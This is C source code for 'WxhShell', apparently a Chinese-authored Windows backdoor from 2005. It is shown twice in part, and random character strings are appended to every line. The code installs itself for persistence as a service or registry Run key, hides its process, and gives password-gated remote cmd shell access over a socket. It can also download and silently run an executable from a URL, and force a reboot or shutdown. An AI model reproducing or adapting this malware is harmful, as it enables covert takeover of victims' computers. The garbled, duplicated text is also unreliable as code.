    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UvB\kIH  
    if(Boot(SHUTDOWN)) ]#rV]As  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E}a.qM'  
    else { 4^4T#f2=e  
    closesocket(wsh); RL/7>YQ  
    ExitThread(0); ua &uR7  
    } 1/qD5 *`Y  
    break; 8ph1xQ'  
    } pY&dw4V  
  // 获取shell ?hR0 MnP  
  case 's': { 8m `Y  
    CmdShell(wsh); aG4 ^xOD  
    closesocket(wsh); \Cin%S. C  
    ExitThread(0); "wKJ8  
    break; @H( 7Mt  
  } QtW e,+WWV  
  // 退出 #N64ZXz_  
  case 'x': { :,R>e}lM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fQg^^ZXe"  
    CloseIt(wsh); zxx9)I@?A  
    break; A&%7Z^Pp  
    } SkVah:cF-  
  // 离开 DB_oRr[oj  
  case 'q': { (b&Z\?"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W[]|Uu/%  
    closesocket(wsh); ,H mGp  
    WSACleanup(); ^^tTA^  
    exit(1); .pm%qEh  
    break; OT6Te&  
        } O&~ @ior  
  } nmE H/a  
  } QQS "K g  
yv>uzb`N  
  // 提示信息 i.?rom  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wN/v-^2  
} DAORfFG74  
  } u(? U[pe[  
bJR\d0Z  
  return; GkU$Z @  
} Zp6VH  
eWD!/yr|  
// shell模块句柄 /l3Oi@\  
int CmdShell(SOCKET sock) Gi$\th,  
{ KZ^>_K&  
STARTUPINFO si; wc"~8Ah  
ZeroMemory(&si,sizeof(si)); }j2t8B^&:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D;+Y0B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {Dy,|}7s  
PROCESS_INFORMATION ProcessInfo; Az#kE.8b*A  
char cmdline[]="cmd"; -;qK_x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p-rQ'e  
  return 0; [C~N#S[]  
} ",,.xLI7  
Q^l!cL| {  
// 自身启动模式 Ah5o>ZtcO  
int StartFromService(void) T-kHk(  
{ w-v8 P`V  
typedef struct REi"Aj=  
{ 2\+N<-(F5  
  DWORD ExitStatus; '@\[U0?@K  
  DWORD PebBaseAddress; US9@/V*2  
  DWORD AffinityMask;  w+5OI9  
  DWORD BasePriority; }XpZgd$  
  ULONG UniqueProcessId; ,+gtr.  
  ULONG InheritedFromUniqueProcessId; K]7[|qf&   
}   PROCESS_BASIC_INFORMATION; r~fnK%|  
)qFqf<:yc  
PROCNTQSIP NtQueryInformationProcess; *p0n^XZ% ?  
8. +f@wv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N}{V*H^0QU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EBQ_c@  
.N\t3\9}  
  HANDLE             hProcess; 7X> @r"9<  
  PROCESS_BASIC_INFORMATION pbi; X`eX+9  
 dBN:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {`J!DFfur  
  if(NULL == hInst ) return 0; (r}StR+  
\RFA?PuY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /; 21?o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &f?JtpB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NxK.q)tj6  
rfSEL 57'  
  if (!NtQueryInformationProcess) return 0; 29|nt1Z  
M;KeY[u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~=oCou`XF  
  if(!hProcess) return 0; Ip8:~Fl]  
@j%@Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q1r-xsjV=  
9fM=5  
  CloseHandle(hProcess); P$^I\aGO  
JPgFTr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #E<~WpP  
if(hProcess==NULL) return 0; Cgf4E{\U!  
R /_vJHI  
HMODULE hMod; B/hQvA;(  
char procName[255]; ?A*<Z%}1?  
unsigned long cbNeeded; A4;~+L:M  
5C*- v,hF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A L |,\s  
w^3S6lK  
  CloseHandle(hProcess); ozHL'H  
wp4  .~E  
if(strstr(procName,"services")) return 1; // 以服务启动 "tpD ->  
;\ j'~AyCn  
  return 0; // 注册表启动 ^hT2 ed +  
} V$u:5"qu0  
I_`NjJ;61  
// 主模块 MBQ|*}+;  
int StartWxhshell(LPSTR lpCmdLine) Uz]=`F8  
{ k<N5*k8M  
  SOCKET wsl; { W5 _KX  
BOOL val=TRUE; R7FI{ A  
  int port=0; u-V( 2?  
  struct sockaddr_in door; hW;n^\lF#e  
mOLz(0  
  if(wscfg.ws_autoins) Install(); -ni@+Dy  
%)&Tr`   
port=atoi(lpCmdLine); ;LKYA?=/V  
x&EMg!  
if(port<=0) port=wscfg.ws_port; QNXS.!\P  
W3%RB[s-  
  WSADATA data; 0}9jl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U2Ky4UFm  
%y)hYLOJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i.-2 w6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {5+69&:G.  
  door.sin_family = AF_INET; O%&N6U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $"0`2C  
  door.sin_port = htons(port); 'S#^ 70kt  
2) 2:KX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c <Q*g  
closesocket(wsl); 7c@5tCcC-  
return 1; :kjs: 6f]  
} <l+hcYam  
cVmF'g  
  if(listen(wsl,2) == INVALID_SOCKET) { %\!0*(8  
closesocket(wsl); 2%H_%Zu9  
return 1; jOK !k  
} *r!qxiY= r  
  Wxhshell(wsl); 3z"%ht~;  
  WSACleanup(); : 'jVA  
9}q)AL-ga  
return 0; ~)ysEZl  
RYl\Q,#  
} 4 .(5m\s!  
aH, NS   
// 以NT服务方式启动 <si cldz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @;S)j!m`  
{ q+w] Xs;  
DWORD   status = 0; 6G_{N.{(  
  DWORD   specificError = 0xfffffff; )M7~RN  
bp}]'NA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3u;0,:X&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z38Pi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rvb@4-i>iI  
  serviceStatus.dwWin32ExitCode     = 0; |H 5$VSw  
  serviceStatus.dwServiceSpecificExitCode = 0; oj ,;9{-  
  serviceStatus.dwCheckPoint       = 0; Fa#5a'}I  
  serviceStatus.dwWaitHint       = 0; $lUz!m jG  
#wh[F"zX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a 5w E{K  
  if (hServiceStatusHandle==0) return; kpQN>XV#  
OE}c$!@  
status = GetLastError(); ?]TtUoY=)F  
  if (status!=NO_ERROR) r -uu`=,  
{ D<*) ^^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lg^Lk\Y+re  
    serviceStatus.dwCheckPoint       = 0; I}]UQ4XJ  
    serviceStatus.dwWaitHint       = 0; {D [z>I;D  
    serviceStatus.dwWin32ExitCode     = status; 3B$|B,  
    serviceStatus.dwServiceSpecificExitCode = specificError; v.gAi6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :e}j$v F  
    return; 4#ifm#  
  } +.m:-^9  
[Qqss8a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Scmew  
  serviceStatus.dwCheckPoint       = 0; /-=h|A#Kh  
  serviceStatus.dwWaitHint       = 0; ^Q!A4 qOQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &u (pBr8B  
} &nY#G HB  
O}6*9Xy  
// 处理NT服务事件,比如:启动、停止 ydE}.0zN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @?t+O'&  
{ K>-01AGHL  
switch(fdwControl) #X?E#^6?E  
{ /d$kz&aIV  
case SERVICE_CONTROL_STOP: N4WX}  
  serviceStatus.dwWin32ExitCode = 0; 1Z_ H% (  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -"bC[WN  
  serviceStatus.dwCheckPoint   = 0; w3ZO CWJS  
  serviceStatus.dwWaitHint     = 0; 5 <7sVd.  
  { @ xTVX'$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^r{N^  
  } X%`:waR  
  return; Y{X%C\  
case SERVICE_CONTROL_PAUSE: _) UnHp_^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; un)PW&~E  
  break; UGoB7TEfn  
case SERVICE_CONTROL_CONTINUE: #"[EVF0%1D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P|;f>*^Y  
  break; R~RE21kAc  
case SERVICE_CONTROL_INTERROGATE: >h(GmR*xM  
  break; * C*aH6*  
};  D28>e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "R% RI( y{  
} xhMAWFg|  
o9OCgP`Y  
// 标准应用程序主函数 X*&Thmee  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9]I{GyH  
{ ;i ?R+T  
iD>H{1 h  
// 获取操作系统版本 NpS =_QeNw  
OsIsNt=GetOsVer(); <J.q[fd1*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (Hs,Tj  
V&lx0Dy  
  // 从命令行安装 6Z@T /"mU(  
  if(strpbrk(lpCmdLine,"iI")) Install(); \[wbJ  
hXD/  
  // 下载执行文件 6E_YUk?KW  
if(wscfg.ws_downexe) { =(v'8?--  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zV"'-iP  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mh@n>+IR  
} LeNSjxB  
m'uFj !  
if(!OsIsNt) { 7{NH;U t  
// 如果时win9x,隐藏进程并且设置为注册表启动 C87 9eeJ  
HideProc(); @r\{iSg&g.  
StartWxhshell(lpCmdLine); Nema>T]  
} G"Hj$  
else :_o^oi7G  
  if(StartFromService()) oZi{v]4  
  // 以服务方式启动 ##OCfCW  
  StartServiceCtrlDispatcher(DispatchTable); Qp>Z&LvC5  
else D|'[[=  
  // 普通方式启动 Xv 7noq|  
  StartWxhshell(lpCmdLine); BUyKiMW49  
mR8tW"Z2  
return 0; 8K&=]:(  
} 3XNk*Y[5  
}|Bs|$q  
:b;`.`@KL_  
g3(LDqB'.  
=========================================== 9d!mGnl  
dKa2_|k'  
r5N H*\Q  
}$(\,SzW  
Fj"/jdM  
6S0Gjekr  
" y8} /e@&  
J_9[ x mM  
#include <stdio.h> Xc L%0%`  
#include <string.h> QI78/gT,d  
#include <windows.h> ]3 QW\k~  
#include <winsock2.h> Ms-)S7tMz  
#include <winsvc.h> "ZFH_5<  
#include <urlmon.h> pv"s!q&  
|AS<I4+&  
#pragma comment (lib, "Ws2_32.lib") f{P?|8u  
#pragma comment (lib, "urlmon.lib") 4I*'(6 ,!  
1had8K-  
#define MAX_USER   100 // 最大客户端连接数 fm q(!  
#define BUF_SOCK   200 // sock buffer eK}GBBdO  
#define KEY_BUFF   255 // 输入 buffer "w__AYHV  
YoWXHg!U  
#define REBOOT     0   // 重启 /NxuNi;5  
#define SHUTDOWN   1   // 关机 Ep3I*bQ Y  
aDu[iaZ  
#define DEF_PORT   5000 // 监听端口 n98sY+$-z  
~Bi%8G  
#define REG_LEN     16   // 注册表键长度 YWL7.Y>%5  
#define SVC_LEN     80   // NT服务名长度 8i)9ho<  
z|\n^ZK=  
// 从dll定义API (/X ]9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h67{qY[J[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Hlpt zez  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]0W64cuT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e&!8UYP  
$xjfW/k?M  
// wxhshell配置信息 _CBMU'V  
struct WSCFG { 0?O_]SD  
  int ws_port;         // 监听端口 c:<a"$  
  char ws_passstr[REG_LEN]; // 口令 Z$zX%w  
  int ws_autoins;       // 安装标记, 1=yes 0=no 08! _B\  
  char ws_regname[REG_LEN]; // 注册表键名 4&v&XLkb  
  char ws_svcname[REG_LEN]; // 服务名 f>3)}9?xc}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n^*,JL 9@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oA@c.%&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pWP1$;8   
int ws_downexe;       // 下载执行标记, 1=yes 0=no <qEBF`XP=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :[0)Uu{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9~jS_Y)"  
1qBE|PwBp  
}; 'pB?  
JVr8O`>T  
// default Wxhshell configuration 14*6+~38m&  
struct WSCFG wscfg={DEF_PORT, =&(e*u_  
    "xuhuanlingzhe", 5".bM8o  
    1, @.`k2lxGd~  
    "Wxhshell", '(g;nU<  
    "Wxhshell", m_,Jbf  
            "WxhShell Service", cvhwd\  
    "Wrsky Windows CmdShell Service", kp#XpcS  
    "Please Input Your Password: ", Nbv b_  
  1, +wQ}ZP&  
  "http://www.wrsky.com/wxhshell.exe", .tQ(q=#  
  "Wxhshell.exe" u6| IKZ  
    }; 4;eD}g  
JAT%s %UC  
// 消息定义模块 @AK&R~<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @]p {%"$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =K}T; c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PZlPC#E-  
char *msg_ws_ext="\n\rExit."; bm4Bq>*=U  
char *msg_ws_end="\n\rQuit."; kE|x'(x  
char *msg_ws_boot="\n\rReboot..."; T8Q_JQ  
char *msg_ws_poff="\n\rShutdown..."; Hi*|f!,H?  
char *msg_ws_down="\n\rSave to "; B]E c  
#^R@EZ  
char *msg_ws_err="\n\rErr!"; ;zV<63tW  
char *msg_ws_ok="\n\rOK!"; uX]]wj-R3  
<K,X5ctM}  
char ExeFile[MAX_PATH]; eZ-fy,E  
int nUser = 0; @u: `  
HANDLE handles[MAX_USER]; w~Nat7nD  
int OsIsNt; Cpy&2o-%v  
}X/YMgJ  
SERVICE_STATUS       serviceStatus; Sw5:T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5HE5$S  
=6'bGC%c  
// 函数声明 P ?n k>  
int Install(void); gsl_aW!  
int Uninstall(void); ;%^{Zybh  
int DownloadFile(char *sURL, SOCKET wsh); !hHX8TD^J  
int Boot(int flag); 0,Ib74N'w  
void HideProc(void); .yFO] r1aL  
int GetOsVer(void); KWAd~8,mk  
int Wxhshell(SOCKET wsl); oe0YxSauL  
void TalkWithClient(void *cs); Q]3]Z/i  
int CmdShell(SOCKET sock); =1'WZp}D5  
int StartFromService(void); o=K9\l  
int StartWxhshell(LPSTR lpCmdLine); ,np|KoG|M  
5FF28C)>/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V>GJO(9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?mSZQF:d@  
NJVkn~<  
// 数据结构和表定义 Q w - z  
SERVICE_TABLE_ENTRY DispatchTable[] = z%iPk'^  
{ {2q0Ko<  
{wscfg.ws_svcname, NTServiceMain}, 8eYEi  
{NULL, NULL} } #L_R  
}; r/"^{0;F{W  
#y[omla8  
// 自我安装 'J5F+, \Ka  
int Install(void) K2e *AE*  
{ (n7{?`Yid  
  char svExeFile[MAX_PATH]; #g0N/  
  HKEY key;  Fq5u%S  
  strcpy(svExeFile,ExeFile); ! Vlx  
('$*QC.M  
// 如果是win9x系统,修改注册表设为自启动 _ qwf3Q@  
if(!OsIsNt) { *N:0L,8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *+2_!=4V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @!O(%0 =  
  RegCloseKey(key); DT)] [V^w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8{ =ha  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~(huUW  
  RegCloseKey(key); lSO$Q]!9  
  return 0; ' i<4;=M&  
    } Un,'a8>V`  
  } udIm}jRA"  
} -.ZP<,?@F  
else { \i@R5v=zL  
.:B>xg~2  
// 如果是NT以上系统,安装为系统服务 !!)$?R;1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?%Tx% dB  
if (schSCManager!=0) m<kJH<!j  
{ `Syfl^9B  
  SC_HANDLE schService = CreateService 1 A0BM  
  ( ~J> ;l s1  
  schSCManager, BHYguS^qz  
  wscfg.ws_svcname, .XiO92d9  
  wscfg.ws_svcdisp, vyB{35p$  
  SERVICE_ALL_ACCESS, (v|<" tv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \_6  
  SERVICE_AUTO_START, 75R#gQ]EV  
  SERVICE_ERROR_NORMAL, !MOsP<2  
  svExeFile, zUZET'Bm9  
  NULL, 5>daWmD  
  NULL, T!>hPg  
  NULL, )b>misb/  
  NULL, A9u>bWIE7  
  NULL m)"(S  
  ); @G=7A;-pv0  
  if (schService!=0) kR^h@@'F"  
  { )T^w c:  
  CloseServiceHandle(schService); [rK`BnJX  
  CloseServiceHandle(schSCManager); ^blw\;LB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DI2e%`$  
  strcat(svExeFile,wscfg.ws_svcname); ls!A'@J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !Ko>   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !G0Mg; ,  
  RegCloseKey(key); VwZ~ntk  
  return 0; ;in-)`UC!  
    } :yJ([  
  } ^_DwuY  
  CloseServiceHandle(schSCManager); Zv=pS (9  
} ~>lqEa  
} "VSx?74q  
Ak('4j!*}^  
return 1; [u2t1^#Ol  
} {=mGXd`x?l  
{6:*c  
// 自我卸载 #OM)71kB8  
int Uninstall(void) <OKc?[  
{ ag47$9(  
  HKEY key; alHA&YC{K  
QT^b-~^  
if(!OsIsNt) { svl!"tMXl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6o\uv  
  RegDeleteValue(key,wscfg.ws_regname); II.: k.D`  
  RegCloseKey(key); zNoFM/1Vb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $qdynKK  
  RegDeleteValue(key,wscfg.ws_regname); *?HoN;^  
  RegCloseKey(key); HF_8661g  
  return 0; ss-6b^  
  } eA-oqolY  
} nK?S2/o#A  
} C~@m6K  
else { &Mudu/KTr  
H)gc"aRe;Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E?P>s T3B  
if (schSCManager!=0) 5V =mj+X?  
{ r~ f;g9I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V@-Q&K#  
  if (schService!=0) Hv^Bw{"/R  
  { sCrP+K0D  
  if(DeleteService(schService)!=0) { <,n:w[+!`P  
  CloseServiceHandle(schService); S2*sh2-&6  
  CloseServiceHandle(schSCManager); ckY#oRQ1  
  return 0; {j]cL !Od  
  } 43M.Hj]  
  CloseServiceHandle(schService); @P75f5p}<  
  }  HB'9&  
  CloseServiceHandle(schSCManager); -aok]w m  
} 6?KUS}nRS  
} zb!1o0, J  
j7gTVfO  
return 1; >A-{/"p#  
} un-%p#  
H{=G\N{  
// 从指定url下载文件 d<Q%h?E  
int DownloadFile(char *sURL, SOCKET wsh) ]3f[v:JQ  
{ &;P\e  
  HRESULT hr; u^{p' a'  
char seps[]= "/"; js <Up/1  
char *token; @_-,Q5  
char *file; >Jx=k"Kv+  
char myURL[MAX_PATH]; GF% /q:9  
char myFILE[MAX_PATH]; W&|?8%"l]  
o^UOkxs.  
strcpy(myURL,sURL); sRT H_]c  
  token=strtok(myURL,seps); `VO;\s$5j  
  while(token!=NULL) n9={D  
  { tm=,x~  
    file=token; YARL/V  
  token=strtok(NULL,seps); t^YtP3`?b  
  } jmaw-Rx  
Jk&!(YK&  
GetCurrentDirectory(MAX_PATH,myFILE); pY )x&uM!  
strcat(myFILE, "\\"); z`E=V  
strcat(myFILE, file); K2xHXziQ  
  send(wsh,myFILE,strlen(myFILE),0); : q%1Vi  
send(wsh,"...",3,0); tNzO1BK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HB5-B XBU  
  if(hr==S_OK) 2v4K3O60G  
return 0; } f&=}  
else Zf!Q4a"  
return 1; ,;w~ VZ4  
Y]0c%Fd  
} g*YA~J@  
u$[8Zmgzz  
// 系统电源模块 GEf=A.WAfw  
int Boot(int flag) PN]hG,q*4O  
{ E\s1p: %  
  HANDLE hToken; y _"V=:  
  TOKEN_PRIVILEGES tkp; Q}lCQK/g  
P<vU!`x% q  
  if(OsIsNt) { @- |G_BZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t7x<=rW7u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a}FyJp  
    tkp.PrivilegeCount = 1; 6#CswSpS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #vyf*jPr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cw 2!V@  
if(flag==REBOOT) { 54>0Dv??H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O]=jI  
  return 0; 1aRTvaGo  
} W& 0R/y7  
else { \l /}` w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *|\bS "  
  return 0; bs ~P  
} C@`#@1X  
  } Icg-rwa<Z  
  else { b,~pwbHf  
if(flag==REBOOT) { ^t gjs$M|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -`\rDPGf  
  return 0; |*g#7 YL  
} Y3:HQ0w`|  
else { W)Y`8&,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aXVldt'  
  return 0; WcKDerc  
} qX-5/;n  
} Ah7"qv'L\  
)?#K0o[<  
return 1; @hg[v`~  
} N^[ F+y  
> VIFQ\  
// win9x进程隐藏模块 /Ls|'2J<$  
void HideProc(void) zu @|"f^`  
{ 95@u|#n  
q5e(~@(z<`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Pj7:[."[  
  if ( hKernel != NULL ) N)Q_z9b=  
  { v0 :n:q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A9BoH[is7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qfJ2iE|o2.  
    FreeLibrary(hKernel); dyn)KDS  
  } ig.Z,R3@r  
v; #y^O  
return; v\?J=|S+  
} ~v2(sRJ  
Ep./->fOA  
// 获取操作系统版本 #?S"y:  
int GetOsVer(void) .cs x"JC  
{ @PNgqjd  
  OSVERSIONINFO winfo; 4_QfM}Fyp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t.;._'  
  GetVersionEx(&winfo); =T2SJ)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aanS^t0  
  return 1; oz=ULPZ%  
  else O8\f]!O(  
  return 0; :~"m yn,  
} d"-I^|[OM  
Ff/Ap&0+  
// 客户端句柄模块 mTX:?>  
int Wxhshell(SOCKET wsl) V||b%Cb1g  
{ zx\-He  
  SOCKET wsh; de W1>yh^_  
  struct sockaddr_in client; ]FVJQS2h  
  DWORD myID; )YEAk@h@  
W>w(|3\  
  while(nUser<MAX_USER) EL3X8H  
{ `(?c4oq,c>  
  int nSize=sizeof(client); l]zQSXip  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L1!~T+%uQ  
  if(wsh==INVALID_SOCKET) return 1; Ir>4-@  
s;oe Qa}TB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hv#$Zo<  
if(handles[nUser]==0) fWEQ vQ  
  closesocket(wsh); %zGv+H?  
else <CO_JWD  
  nUser++; MFa/%O_*  
  } \)uA:v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L{jx'[C  
Iv  
  return 0; 3^wHL:u  
} 3^ UoK  
_p:n\9k  
// 关闭 socket k6(</uRj  
void CloseIt(SOCKET wsh) [Y*>x2X  
{ [sH3REE1h  
closesocket(wsh); z~`X4Segw  
nUser--; dI%jR&.e;  
ExitThread(0); ZPE-  
} em,1Yn?  
d*Mqs}8  
// 客户端请求句柄 fNAW4I I}  
void TalkWithClient(void *cs) $[`rY D/.  
{ F%p DF\  
{c3FJ5:  
  SOCKET wsh=(SOCKET)cs; /Q7q2Ne^*  
  char pwd[SVC_LEN]; aG;F=e  
  char cmd[KEY_BUFF]; H:hM(m0?q  
char chr[1]; D mi.@.  
int i,j; Z HZxr  
, 2#Q >  
  while (nUser < MAX_USER) { HM)D/CO,?  
|z3!3?%R  
if(wscfg.ws_passstr) { ,|yscp8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Z0&sFm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O0'|\:my  
  //ZeroMemory(pwd,KEY_BUFF); O6?{@l  
      i=0; IYq#|^)5+  
  while(i<SVC_LEN) { =C,DR4xh  
0^V<,CAV  
  // 设置超时 7NT} Zwf  
  fd_set FdRead; s|XWw<Sa  
  struct timeval TimeOut; (Ox&B+\v+v  
  FD_ZERO(&FdRead); @:CM<+  
  FD_SET(wsh,&FdRead); cA 4?[F  
  TimeOut.tv_sec=8; WynTU?  
  TimeOut.tv_usec=0; .F@Lx45  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); en{p<]H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bs\k b-\R  
bK#ZY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qgl-,3GY%N  
  pwd=chr[0]; !4+Die X  
  if(chr[0]==0xd || chr[0]==0xa) { {G vGV  
  pwd=0; lq53 xT  
  break; &D[M<7T  
  } 3YLfh`6  
  i++; m4OnRZYlw  
    } -E6av|c,F  
)!rD&l$tE  
  // 如果是非法用户,关闭 socket /y{fDCC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C TG^lms  
} V2?{ebx`  
yc]_?S>9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [I%e Ro[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JXkx!X_{  
vjGJRk|XED  
while(1) { =/a`X[9vI  
b*S,8vE]  
  ZeroMemory(cmd,KEY_BUFF); ,{:qbt  
Y1r'\@L w  
      // 自动支持客户端 telnet标准   vA:ZR=)F  
  j=0; ec#`9w$  
  while(j<KEY_BUFF) {  gh[q*%#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .4E24FB[f?  
  cmd[j]=chr[0]; :9 (kU  
  if(chr[0]==0xa || chr[0]==0xd) { 8iD7K@  
  cmd[j]=0; rU9")4sQ  
  break; PO'K?hVS^w  
  } lGp:rw`  
  j++; GjW(&p$&  
    } <`Fl Igo  
S6bYd`  
  // 下载文件 p@Os  
  if(strstr(cmd,"http://")) { @Yb8CB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ']2d^'TH  
  if(DownloadFile(cmd,wsh)) "dv\ 9O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u y"i3xD6-  
  else 9:RV5Dt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -tWxB GSa@  
  } bt1bTo  
